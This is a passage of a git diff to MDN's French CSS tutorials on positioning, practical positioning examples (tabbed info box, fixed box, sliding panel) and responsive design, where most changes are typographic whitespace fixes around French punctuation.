</span>ou <span>cet autre</span> sont sur une même ligne que les nœuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> ``` ```css hidden body { - width: 500px; - margin: 0 auto; } + width: 500px; + margin: 0 auto; } p { background: aqua; border: 3px solid blue; @@ -138,7 +138,7 @@ Si vous enregistrez et actualisez maintenant, vous verrez quelque chose comme ce <p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> <p class="positioned">Par défaut, je couvre 100% de la largeur de mon élément parent et je suis aussi haut que mon contenu enfant. Mes largeur et hauteur totales sont égales aux largeur et hauteur du contenu, plus celles du remplissage, plus celles de l'encadrement.</p> <p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> -<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les noeuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> +<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les noeuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> ``` ```css hidden @@ -241,7 +241,7 @@ A ce stade, vous verrez le premier paragraphe coloré en vert, déplacé hors du Est‑il possible de changer l'ordre d'empilement ? Oui, vous le pouvez avec la propriété {{cssxref("z-index")}}. « z-index » est une référence à l'axe **z**. Vous vous souvenez peut-être de points précédents du source où nous avons discuté des pages Web en utilisant des coordonnées horizontales (axe des x) et verticales (axe des y) pour déterminer le positionnement de choses comme les images de fond et les décalages d'ombres portées. (0,0) est en haut à gauche de la page (ou de l'élément), et les axes x et y vont respectivement vers la droite et vers le bas de la page (pour les langues s'écrivant de gauche à droite, en tout cas). -Les pages Web ont aussi un axe z : une ligne imaginaire qui va de la surface de votre écran, vers votre visage (ou tout ce que vous aimez avoir devant l'écran). Les valeurs de {{cssxref("z-index")}}} affectent l'emplacement des éléments positionnés sur cet axe ; les valeurs positives les déplacent vers le haut de la pile, et les valeurs négatives les déplacent vers le bas de la pile. Par défaut, les éléments positionnés ont tous un `z-index` `auto`, qui est effectivement 0. +Les pages Web ont aussi un axe z : une ligne imaginaire qui va de la surface de votre écran, vers votre visage (ou tout ce que vous aimez avoir devant l'écran). Les valeurs de {{cssxref("z-index")}}} affectent l'emplacement des éléments positionnés sur cet axe ; les valeurs positives les déplacent vers le haut de la pile, et les valeurs négatives les déplacent vers le bas de la pile. Par défaut, les éléments positionnés ont tous un `z-index` `auto`, qui est effectivement 0. Pour modifier l'ordre d'empilement, ajoutez la déclaration suivante à la règle `p:nth-of-type(1)` : @@ -338,7 +338,7 @@ Voici l'exemple terminé : <p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> <p class="positioned">Je ne suis plus positionné...</p> <p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> -<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les noeuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> +<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les noeuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> ``` ```css hidden @@ -376,7 +376,7 @@ p:nth-of-type(1) { {{ EmbedLiveSample('Positionnement_fixe', '100%', 400) }} -> **Note :** à ce stade de l'article, vous pouvez voir un exemple en direct ici [`6_fixed-positioning.html`](http://mdn.github.io/learning-area/css/css-layout/positioning/6_fixed-positioning.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/6_fixed-positioning.html)). +> **Note :** à ce stade de l'article, vous pouvez voir un exemple en direct ici [`6_fixed-positioning.html`](http://mdn.github.io/learning-area/css/css-layout/positioning/6_fixed-positioning.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/6_fixed-positioning.html)). ### « position: sticky » diff --git a/files/fr/learn/css/css_layout/practical_positioning_examples/index.md b/files/fr/learn/css/css_layout/practical_positioning_examples/index.md index bcdd6003da..aae12447a2 100644 --- a/files/fr/learn/css/css_layout/practical_positioning_examples/index.md +++ b/files/fr/learn/css/css_layout/practical_positioning_examples/index.md @@ -11,7 +11,7 @@ Cet article illustre comment construire quelques exemples concrets de ce qu'on p <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Les fondamentaux en HTML (étudier <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" @@ -21,7 +21,7 @@ Cet article illustre comment construire quelques exemples concrets de ce qu'on p </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td>Avoir une idée des aspects pratiques du positionnement</td> </tr> </tbody> @@ -29,13 +29,13 @@ Cet article illustre comment construire quelques exemples concrets de ce qu'on p ## Une boîte d'information à onglets -Le premier exemple que nous allons examiner est une boîte d'information à onglets classique - une méthode courante utilisée lorsqu'on souhaite regrouper beaucoup d'informations dans une petite zone. Cela inclut les applications gourmandes en informations comme les jeux de stratégie/guerre, les versions mobiles de sites web où l'écran est étroit et l'espace limité, et les boîtes d'information compactes où on peut mettre à disposition de nombreuses informations sans qu'elles remplissent toute l'interface utilisateur. Notre exemple ressemblera à ceci une fois que nous aurons terminé : +Le premier exemple que nous allons examiner est une boîte d'information à onglets classique - une méthode courante utilisée lorsqu'on souhaite regrouper beaucoup d'informations dans une petite zone. Cela inclut les applications gourmandes en informations comme les jeux de stratégie/guerre, les versions mobiles de sites web où l'écran est étroit et l'espace limité, et les boîtes d'information compactes où on peut mettre à disposition de nombreuses informations sans qu'elles remplissent toute l'interface utilisateur. Notre exemple ressemblera à ceci une fois que nous aurons terminé :  > **Note :** Vous pouvez voir l'exemple fini en démonstration sur la page [info-box.html](https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html) ([code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html)). N'hésitez pas à le consulter pour avoir une idée du résultat que vous allez construire. -On pourrait se demander : « pourquoi ne pas créer des onglets séparés sous forme de pages web séparées, et faire en sorte que ces onglets permettent de cliquer sur les pages séparées pour créer cet effet ? ». Ce code serait en effet plus simple, mais dans ce cas, chaque « page » séparée serait en fait une nouvelle page web, ce qui rendrait plus difficile la sauvegarde des informations entre les vues, et intégrerait cette fonctionnalité dans un design d'interface plus large. De plus, les applications dites « à page unique » (<i lang="en">Single Page Apps</i>) deviennent très populaires, en particulier pour les interfaces web mobiles, parce que le fait que tout soit servi dans un seul fichier réduit le nombre de requêtes HTTP nécessaires pour voir tout le contenu, ce qui améliore les performances. +On pourrait se demander : « pourquoi ne pas créer des onglets séparés sous forme de pages web séparées, et faire en sorte que ces onglets permettent de cliquer sur les pages séparées pour créer cet effet ? ». Ce code serait en effet plus simple, mais dans ce cas, chaque « page » séparée serait en fait une nouvelle page web, ce qui rendrait plus difficile la sauvegarde des informations entre les vues, et intégrerait cette fonctionnalité dans un design d'interface plus large. De plus, les applications dites « à page unique » (<i lang="en">Single Page Apps</i>) deviennent très populaires, en particulier pour les interfaces web mobiles, parce que le fait que tout soit servi dans un seul fichier réduit le nombre de requêtes HTTP nécessaires pour voir tout le contenu, ce qui améliore les performances. > **Note :** Il arrive même que pour certains sites, ce soit une seule page qui soit chargée et que son contenu soit modifié dynamiquement grâce à des fonctionnalités JavaScript telles que [XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest). Pour le moment, nous garderons des choses simples. Il y aura un peu de JavaScript en fin d'article, mais la juste dose nécessaire pour faire fonctionner cet exemple. @@ -62,7 +62,7 @@ Pour commencer, effectuez une copie locale du fichier HTML de départ — [info- <article> <h2>Troisième onglet</h2> - <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. Et voici une liste ordonnée !</p> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. Et voici une liste ordonnée !</p> <ol> <li>dui neque eleifend lorem, a auctor libero turpis at sem.</li> @@ -112,7 +112,7 @@ Cela définit une largeur et une hauteur spécifiques sur le contenu, et le cent ### Mettre en forme les onglets -On souhaite que nos onglets ressemblent à des onglets. Autrement dit, on veut avoir un menu de navigation horizontal et, au lieu d'avoir différentes pages web depuis ce menu, obtenir l'affichage des différents panneaux sur la même page. Pour commencer, ajoutez la règle à la fin de votre CSS afin de retirer les valeurs par défaut de [`padding-left`](/fr/docs/Web/CSS/padding-left) et [`margin-top`](/fr/docs/Web/CSS/margin-top) pour la liste non-ordonnée : +On souhaite que nos onglets ressemblent à des onglets. Autrement dit, on veut avoir un menu de navigation horizontal et, au lieu d'avoir différentes pages web depuis ce menu, obtenir l'affichage des différents panneaux sur la même page. Pour commencer, ajoutez la règle à la fin de votre CSS afin de retirer les valeurs par défaut de [`padding-left`](/fr/docs/Web/CSS/padding-left) et [`margin-top`](/fr/docs/Web/CSS/margin-top) pour la liste non-ordonnée : ```css .info-box ul { @@ -125,7 +125,7 @@ On souhaite que nos onglets ressemblent à des onglets. Autrement dit, on veut a Ensuite, mettons en forme les onglets horizontaux. Les éléments de la liste ont un flottement à gauche afin qu'ils soient sur une même ligne. Leur propriété [`list-style-type`](/fr/docs/Web/CSS/list-style-type) est placée à `none` afin de ne plus avoir les puces et [`width`](/fr/docs/Web/CSS/width) vaut `150px` afin qu'il y ait suffisamment de place au sein de la boîte pour afficher ces éléments. Les éléments [`<a>`](/fr/docs/Web/HTML/Element/a) ont [`display`](/fr/docs/Web/CSS/display) avec la valeur `inline-block` afin qu'ils s'inscrivent dans une ligne mais qu'ils puissent tout de même être mis en forme pour des boutons d'onglet en utilisant d'autres propriétés. -Ajoutez le fragment de CSS qui suit : +Ajoutez le fragment de CSS qui suit : ```css .info-box li { @@ -145,7 +145,7 @@ Ajoutez le fragment de CSS qui suit : } ``` -Pour finir avec cette section, mettons en forme les liens selon leur état. Toute d'abord, gérons les états `:focus` et `:hover` afin que les onglets aient un aspect différent lorsqu'ils ont le focus ou qu'on les survole afin que la personne qui utilise le site ait un retour visuel. Deuxièmement, ajoutons une règle qui applique la même mise en forme lorsqu'un attribut `class` avec la valeur `active` est présent dessus. Nous appliquerons cette valeur à l'aide de JavaScript lorsqu'un clic aura lieu sur l'onglet. Ajoutez le CSS qui suit après les autres règles déjà écrites : +Pour finir avec cette section, mettons en forme les liens selon leur état. Toute d'abord, gérons les états `:focus` et `:hover` afin que les onglets aient un aspect différent lorsqu'ils ont le focus ou qu'on les survole afin que la personne qui utilise le site ait un retour visuel. Deuxièmement, ajoutons une règle qui applique la même mise en forme lorsqu'un attribut `class` avec la valeur `active` est présent dessus. Nous appliquerons cette valeur à l'aide de JavaScript lorsqu'un clic aura lieu sur l'onglet. Ajoutez le CSS qui suit après les autres règles déjà écrites : ```css .info-box li a:focus, .info-box li a:hover { @@ -161,7 +161,7 @@ Pour finir avec cette section, mettons en forme les liens selon leur état. Tout ### Mettre en forme les panneaux -La suite consiste à mettre en forme les panneaux de contenu. Allons-y ! +La suite consiste à mettre en forme les panneaux de contenu. Allons-y ! Pour commencer, ajoutez la règle suivante qui met en forme le conteneur `.panels` [`<div>`](/fr/docs/Web/HTML/Element/div). Ici, on définit une hauteur fixe avec [`height`](/fr/docs/Web/CSS/height) afin de s'assurer que les panneaux s'inscriront correctement dans la boîte d'informations. On définit [`position`](/fr/docs/Web/CSS/position) `relative` sur l'élément [`<div>`](/fr/docs/Web/HTML/Element/div) comme contexte de positionnement afin que les éléments enfants y soient relatifs (plutôt que relatifs à l'élément [`<html>`](/fr/docs/Web/HTML/Element/html)) pour la mise en forme. Enfin, on utilise [`clear`](/fr/docs/Web/CSS/clear) pour annuler le flottement défini plus haut afin qu'il n'y ait pas d'interférence avec le reste de la disposition. @@ -173,9 +173,9 @@ Pour commencer, ajoutez la règle suivante qui met en forme le conteneur `.panel } ``` -Dans cette section, nous allons mettre en forme les éléments [`<article>`](/fr/docs/Web/HTML/Element/article) qui forment les panneaux. La première règle va fixer [`position`](/fr/docs/Web/CSS/position) absolue pour les panneaux avant de les placer dans le coin supérieur gauche de leur conteneur [`<div>`](/fr/docs/Web/HTML/Element/div) avec [`top`](/fr/docs/Web/CSS/top) et [`left`](/fr/docs/Web/CSS/left). C'est la clé de cette disposition : ainsi, les panneaux sont superposés les uns sur les autres. Cette règle fournit également la même hauteur que le conteneur et ajoute un peu de remplissage autour du contenu, une couleur pour le texte ([`color`](/fr/docs/Web/CSS/color)), ainsi qu'une couleur d'arrière-plan ([`background-color`](/fr/docs/Web/CSS/background-color)). +Dans cette section, nous allons mettre en forme les éléments [`<article>`](/fr/docs/Web/HTML/Element/article) qui forment les panneaux. La première règle va fixer [`position`](/fr/docs/Web/CSS/position) absolue pour les panneaux avant de les placer dans le coin supérieur gauche de leur conteneur [`<div>`](/fr/docs/Web/HTML/Element/div) avec [`top`](/fr/docs/Web/CSS/top) et [`left`](/fr/docs/Web/CSS/left). C'est la clé de cette disposition : ainsi, les panneaux sont superposés les uns sur les autres. Cette règle fournit également la même hauteur que le conteneur et ajoute un peu de remplissage autour du contenu, une couleur pour le texte ([`color`](/fr/docs/Web/CSS/color)), ainsi qu'une couleur d'arrière-plan ([`background-color`](/fr/docs/Web/CSS/background-color)). -La deuxième règle ajoutée indique qu'un panneau avec une classe (`class`) valant `active-panel` aura une valeur de [`z-index`](/fr/docs/Web/CSS/z-index) à 1 : il sera alors placé par-dessus les autres panneaux (par défaut les éléments positionnés ont un `z-index` qui vaut 0, ce qui les place en dessous). Là aussi, nous ajouterons cette classe au document à l'aide de JavaScript. +La deuxième règle ajoutée indique qu'un panneau avec une classe (`class`) valant `active-panel` aura une valeur de [`z-index`](/fr/docs/Web/CSS/z-index) à 1 : il sera alors placé par-dessus les autres panneaux (par défaut les éléments positionnés ont un `z-index` qui vaut 0, ce qui les place en dessous). Là aussi, nous ajouterons cette classe au document à l'aide de JavaScript. ```css .info-box article { @@ -195,7 +195,7 @@ La deuxième règle ajoutée indique qu'un panneau avec une classe (`class`) val ### Ajouter notre JavaScript -La dernière étape permettant d'avoir un résultat fonctionnel consiste à ajouter du JavaScript. Placez les lignes suivantes (sans modification) entre les balises ouvrantes et fermantes [`<script>`](/fr/docs/Web/HTML/Element/script) (elles se situent après le contenu HTML) : +La dernière étape permettant d'avoir un résultat fonctionnel consiste à ajouter du JavaScript. Placez les lignes suivantes (sans modification) entre les balises ouvrantes et fermantes [`<script>`](/fr/docs/Web/HTML/Element/script) (elles se situent après le contenu HTML) : ```js let tabs = document.querySelectorAll('.info-box li a'); @@ -223,11 +223,11 @@ function setTabHandler(tab, tabPos) { } ``` -Ce code effectue les actions suivantes : +Ce code effectue les actions suivantes : - Tout d'abord, on garde une référence pour tous les onglets et tous les panneaux dans deux variables intitulées `tabs` et `panels` afin qu'on puisse facilement les manipuler par la suite. - Ensuite, on utilise une boucle `for` pour parcourir l'ensemble des onglets et, pour chaque, on exécute une fonction intitulée `setTabHandler()` qui met en place les fonctionnalités à utiliser lors d'un clic. Lorsque cette fonction est exécutée, elle reçoit une référence de l'onglet concerné ainsi qu'un indice `i` qui identifie la position de l'onglet dans le tableau `tabs`. -- Dans la fonction `setTabHandler()`, l'onglet se voit affecter un gestionnaire d'évènement `onclick`. Ainsi dès qu'on clique sur un onglet, on a : +- Dans la fonction `setTabHandler()`, l'onglet se voit affecter un gestionnaire d'évènement `onclick`. Ainsi dès qu'on clique sur un onglet, on a : - Une boucle `for` qui est utilisée afin de parcourir tous les onglets pour retirer les classes qui seraient présentes sur eux. - Une classe (`class`) `active` qui est appliquée sur l'onglet sur lequel on a cliqué (nous avons vu plus haut que cette classe était associée à une règle CSS qui définit [`color`](/fr/docs/Web/CSS/color) et [`background-color`](/fr/docs/Web/CSS/background-color) sur l'onglet afin que celles-ci correspondent aux couleurs du panneau. @@ -238,7 +238,7 @@ Et voilà pour le premier exemple. Gardez le code actuel sous la main, nous allo ## Une boîte d'information à onglets avec une position fixe -Dans ce deuxième exemple, nous repartirons du premier exemple (notre boîte d'information à onglets) et nous l'ajouterons dans le contexte d'une page web complète. De plus, nous l'ajouterons avec une position fixe afin qu'elle reste à la même position dans la fenêtre du navigateur. Ainsi, quand le contenu principal défilera, la boîte d'information restera au même endroit à l'écran. Le résultat final ressemblera à : +Dans ce deuxième exemple, nous repartirons du premier exemple (notre boîte d'information à onglets) et nous l'ajouterons dans le contexte d'une page web complète. De plus, nous l'ajouterons avec une position fixe afin qu'elle reste à la même position dans la fenêtre du navigateur. Ainsi, quand le contenu principal défilera, la boîte d'information restera au même endroit à l'écran. Le résultat final ressemblera à :  @@ -248,7 +248,7 @@ Comme point de départ, vous pouvez utiliser l'exemple construit dans la premiè ### Ajouts au HTML -Tout d'abord, il nous faut compléter le HTML afin de représenter le contenu principal du site web. Ajoutez la section ([`<section>`](/fr/docs/Web/HTML/Element/section)) suivante juste après la balise ouvrante [`<body>`](/fr/docs/Web/HTML/Element/body) et avant la section existante : +Tout d'abord, il nous faut compléter le HTML afin de représenter le contenu principal du site web. Ajoutez la section ([`<section>`](/fr/docs/Web/HTML/Element/section)) suivante juste après la balise ouvrante [`<body>`](/fr/docs/Web/HTML/Element/body) et avant la section existante : ```html <section class="fake-content"> @@ -270,7 +270,7 @@ Tout d'abord, il nous faut compléter le HTML afin de représenter le contenu pr Ensuite, adaptons le code CSS existant afin que la boîte d'information soit placée et positionnée. On change la règle ciblant `.info-box` afin de se débarrasser de `margin: 0 auto;` (on ne veut plus que la boîte soit centrée) et d'ajouter [`position`](/fr/docs/Web/CSS/position)`: fixed;` avant de l'attacher au haut de la zone d'affichage du navigateur avec [`top`](/fr/docs/Web/CSS/top). -Voici ce à quoi ça devrait ressembler : +Voici ce à quoi ça devrait ressembler : ```css .info-box { @@ -283,7 +283,7 @@ Voici ce à quoi ça devrait ressembler : ### Mettre en forme le contenu principal -Il nous reste alors à mettre en forme le contenu principal. Ajoutez la règle suivante à la suite de votre CSS existant : +Il nous reste alors à mettre en forme le contenu principal. Ajoutez la règle suivante à la suite de votre CSS existant : ```css .fake-content { @@ -301,15 +301,15 @@ Et voici la fin de ce deuxième exemple, espérons que le troisième vous sera t ## Un panneau glissant masqué -Le dernier exemple que nous verrons ici est un panneau qui apparaît/disparaît en « glissant » de l'écran après avoir appuyé sur une icône. Comme mentionné plus haut, il s'agit d'un geste commun pour des dispositions mobiles où l'espace à l'écran est restreint et où on ne veut pas le gaspiller en montrant constamment un menu ou un panneau d'information à la place du contenu utile. +Le dernier exemple que nous verrons ici est un panneau qui apparaît/disparaît en « glissant » de l'écran après avoir appuyé sur une icône. Comme mentionné plus haut, il s'agit d'un geste commun pour des dispositions mobiles où l'espace à l'écran est restreint et où on ne veut pas le gaspiller en montrant constamment un menu ou un panneau d'information à la place du contenu utile. -Voilà ce à quoi ressemblera notre exemple terminé : +Voilà ce à quoi ressemblera notre exemple terminé :  > **Note :** Vous pouvez voir l'exemple fini en démonstration sur la page [hidden-info-panel.html](https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/hidden-info-panel.html) ([code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/hidden-info-panel.html)). N'hésitez pas à le consulter pour avoir une idée du résultat que vous allez construire. -Pour commencer, enregistrez le fichier [hidden-info-panel-start.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/hidden-info-panel-start.html) sur votre ordinateur. Celui-ci ne repart pas de l'exemple précédent et il faut donc utiliser un nouveau fichier. Voyons déjà ce que contient le code HTML de ce fichier : +Pour commencer, enregistrez le fichier [hidden-info-panel-start.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/hidden-info-panel-start.html) sur votre ordinateur. Celui-ci ne repart pas de l'exemple précédent et il faut donc utiliser un nouveau fichier. Voyons déjà ce que contient le code HTML de ce fichier : ```html <label for="toggle">❔</label> @@ -323,7 +323,7 @@ Pour commencer, enregistrez le fichier [hidden-info-panel-start.html](https://gi Pour commencer, nous avons un élément [`<label>`](/fr/docs/Web/HTML/Element/Label) et un élément [`<input>`](/fr/docs/Web/HTML/Element/Input). Les éléments `<label>` sont généralement utilisés afin d'associer un libellé avec un élément de formulaire à des fins d'accessibilité (permettant par exemple à quelqu'un qui utilise un lecteur d'écran de connaître la description du contenu attendu dans ce champ de formulaire). Ici, ce libellé est associé avec la case à cocher `<input>` grâce aux attributs `for` et `id`. -> **Note :** Nous avons utilisé un point d'interrogation dans notre HTML afin que celui-ci serve d'icône pour accéder à l'information : il représente le bouton qu'on utilisera pour afficher/masquer le panneau. +> **Note :** Nous avons utilisé un point d'interrogation dans notre HTML afin que celui-ci serve d'icône pour accéder à l'information : il représente le bouton qu'on utilisera pour afficher/masquer le panneau. Ici, nous allons utiliser ces éléments pour un but légèrement différent. Un effet de bord sympathique des éléments `<label>` est que lorsqu'on clique sur eux, cela permet de cocher la case à cocher correspondante (comme si on avait cliqué sur la case en question). Cela a ainsi permis la fameuse [bidouille de la case à cocher](https://css-tricks.com/the-checkbox-hack/) qui permet, sans utiliser JavaScript, de contrôler un élément en activant un bouton. L'élément que nous contrôlerons ici est l'élément [`<aside>`](/fr/docs/Web/HTML/Element/aside) qui suit les deux autres (nous avons laissé son contenu de côté pour des raisons de concision). @@ -331,7 +331,7 @@ Dans les sections qui suivent, nous expliquerons comment cela fonctionne. ### Mettre en forme les éléments de formulaire -Commençons par les éléments de formulaire : ajoutez le CSS qui suit entre les balises [`<style>`](/fr/docs/Web/HTML/Element/style) : +Commençons par les éléments de formulaire : ajoutez le CSS qui suit entre les balises [`<style>`](/fr/docs/Web/HTML/Element/style) : ```css label[for="toggle"] { @@ -349,7 +349,7 @@ input[type="checkbox"] { } ``` -La première règle met en forme `<label>`, on y trouve : +La première règle met en forme `<label>`, on y trouve : - Une taille de police ([`font-size`](/fr/docs/Web/CSS/font-size)) élevée afin que l'icône soit bien visible. - Une [`position`](/fr/docs/Web/CSS/position) `absolute` avec des définitions pour [`top`](/fr/docs/Web/CSS/top) et [`right`](/fr/docs/Web/CSS/right) qui permettent de positionner l'icône dans le coin supérieur droit. @@ -360,7 +360,7 @@ La deuxième règle applique [`position`](/fr/docs/Web/CSS/position) `absolute` ### Mettre en forme le panneau -Il est désormais temps de mettre en forme le panneau à proprement parler. Ajoutez la règle suivante à la fin de votre CSS : +Il est désormais temps de mettre en forme le panneau à proprement parler. Ajoutez la règle suivante à la fin de votre CSS : ```css aside { @@ -379,17 +379,17 @@ aside { } ``` -Il y a plusieurs déclarations ici, voyons-les au fur et à mesure : +Il y a plusieurs déclarations ici, voyons-les au fur et à mesure : - Tout d'abord, on applique une couleur d'arrière-plan et pour le texte avec [`background-color`](/fr/docs/Web/CSS/background-color) et [`color`](/fr/docs/Web/CSS/color). - Ensuite, on définit une largeur ([`width`](/fr/docs/Web/CSS/width)) fixe sur le panneau et on définit la hauteur ([`height`](/fr/docs/Web/CSS/height)) afin que celle-ci occupe la hauteur de toute la zone d'affichage. - On ajoute également du remplissage ([`padding`](/fr/docs/Web/CSS/padding)) horizontal pour espacer légèrement. - Ensuite, on utilise [`position`](/fr/docs/Web/CSS/position)`: fixed;` sur le panneau afin qu'il apparaisse toujours à la même place, même s'il y a du contenu à faire défiler sur la page. On le colle en haut ([`top`](/fr/docs/Web/CSS/top)) de la zone d'affichage et on le positionne afin que, par défaut, il soit situé à droite ([`right`](/fr/docs/Web/CSS/right)) et en dehors de l'écran. -- Enfin, on applique une [`transition`](/fr/docs/Web/CSS/transition) sur l'élément. Les transitions permettent de réaliser des changements d'état de façon progressive plutôt que d'avoir un passage abrupt entre « actif » et « inactif ». Ici, on veut que le panneau glisse progressivement pour apparaître à l'écran quand la case à cocher est cochée. Autrement dit, quand on clique sur l'icône du point d'interrogation (cela déclenche la bidouille qui coche la case), on veut que le panneau transitionne délicatement pour apparaître à l'écran. +- Enfin, on applique une [`transition`](/fr/docs/Web/CSS/transition) sur l'élément. Les transitions permettent de réaliser des changements d'état de façon progressive plutôt que d'avoir un passage abrupt entre « actif » et « inactif ». Ici, on veut que le panneau glisse progressivement pour apparaître à l'écran quand la case à cocher est cochée. Autrement dit, quand on clique sur l'icône du point d'interrogation (cela déclenche la bidouille qui coche la case), on veut que le panneau transitionne délicatement pour apparaître à l'écran. ### Définir l'état coché -Voici le dernier fragment de CSS à ajouter, là encore à la fin : +Voici le dernier fragment de CSS à ajouter, là encore à la fin : ```css input[type=checkbox]:checked + aside { @@ -397,9 +397,9 @@ input[type=checkbox]:checked + aside { } ``` -Le sélecteur utilisé ici est plutôt complexe : on sélectionne l'élément `<aside>` adjacent à l'élément `<input>`, uniquement lorsque ce dernier est coché (grâce à la pseudo-classe [`:checked`](/fr/docs/Web/CSS/:checked)). Lorsque c'est le cas, on définit la propriété [`right`](/fr/docs/Web/CSS/right) de l'élément `<aside>` à `0px`, ce qui fait que le panneau apparaît à l'écran (progressivement grâce à la transition). Cliquer sur le libellé à nouveau permettra de décocher la case et de masquer le panneau à nouveau. +Le sélecteur utilisé ici est plutôt complexe : on sélectionne l'élément `<aside>` adjacent à l'élément `<input>`, uniquement lorsque ce dernier est coché (grâce à la pseudo-classe [`:checked`](/fr/docs/Web/CSS/:checked)). Lorsque c'est le cas, on définit la propriété [`right`](/fr/docs/Web/CSS/right) de l'élément `<aside>` à `0px`, ce qui fait que le panneau apparaît à l'écran (progressivement grâce à la transition). Cliquer sur le libellé à nouveau permettra de décocher la case et de masquer le panneau à nouveau. -Et voilà, une astuce sans JavaScript pour créer un interrupteur. Cela fonctionnera à partir de IE9 (les transitions fonctionneront à partir de IE10). Ce n'est pas totalement idéal : les éléments de formulaire n'ont pas été conçus pour ça ; l'accessibilité n'est pas au rendez-vous non plus : le libellé ne peut pas recevoir le focus par défaut et on utilise des éléments de formulaire de façon non sémantique, ce qui pourrait causer des problèmes avec les lecteurs d'écran. Pour affiner cela, utiliser du JavaScript avec un lien ou un bouton serait sans doute plus approprié. Quoi qu'il en soit, cela permet d'avoir un exemple fonctionnel avec quelques astuces pour expérimenter. +Et voilà, une astuce sans JavaScript pour créer un interrupteur. Cela fonctionnera à partir de IE9 (les transitions fonctionneront à partir de IE10). Ce n'est pas totalement idéal : les éléments de formulaire n'ont pas été conçus pour ça ; l'accessibilité n'est pas au rendez-vous non plus : le libellé ne peut pas recevoir le focus par défaut et on utilise des éléments de formulaire de façon non sémantique, ce qui pourrait causer des problèmes avec les lecteurs d'écran. Pour affiner cela, utiliser du JavaScript avec un lien ou un bouton serait sans doute plus approprié. Quoi qu'il en soit, cela permet d'avoir un exemple fonctionnel avec quelques astuces pour expérimenter. ## Résumé diff --git a/files/fr/learn/css/css_layout/responsive_design/index.md b/files/fr/learn/css/css_layout/responsive_design/index.md index 9c4fafc963..aa988cb435 100644 --- a/files/fr/learn/css/css_layout/responsive_design/index.md +++ b/files/fr/learn/css/css_layout/responsive_design/index.md @@ -76,7 +76,7 @@ Zoe Mickley Gillenwater a grandement contribué au travail de description et de Le terme de responsive design a été [inventé par Ethan Marcotte en 2010](https://alistapart.com/article/responsive-web-design/), et décrit la combinaison de trois techniques. 1. La première était l'idée des grilles fluides, une idée déjà explorée par Gillenwater, que l'on peut lire dans l'article de Marcotte, [Fluid Grids](https://alistapart.com/article/fluidgrids/) (publié en 2009 sur A List Apart). -2. La deuxième technique était l'idée [d'images fluides](http://unstoppablerobotninja.com/entry/fluid-images). En utilisant une technique très simple de réglage de la propriété `max-width` à `100%`, les images deviennent plus petites si leur colonne de contenu devient plus étroite que la taille intrinsèque de l'image, mais ne deviennent jamais plus grandes. Cela permet à une image de se réduire pour s'intégrer dans une colonne de taille flexible, plutôt que de la déborder, mais de ne pas s'agrandir et de devenir pixélisée si la colonne devient plus large que l'image. +2. La deuxième technique était l'idée [d'images fluides](http://unstoppablerobotninja.com/entry/fluid-images). En utilisant une technique très simple de réglage de la propriété `max-width` à `100%`, les images deviennent plus petites si leur colonne de contenu devient plus étroite que la taille intrinsèque de l'image, mais ne deviennent jamais plus grandes. Cela permet à une image de se réduire pour s'intégrer dans une colonne de taille flexible, plutôt que de la déborder, mais de ne pas s'agrandir et de devenir pixélisée si la colonne devient plus large que l'image. 3. Le troisième élément clé était la [media query](/fr/docs/Web/CSS/Media_Queries). Les Media Queries permettent de changer le type de mise en page que Cameron Adams avait précédemment exploré en utilisant JavaScript, en utilisant uniquement CSS. Au lieu d'avoir une seule mise en page pour toutes les tailles d'écran, la mise en page pouvait être modifiée. Les barres latérales pouvaient être repositionnées pour l'écran plus petit, ou une autre 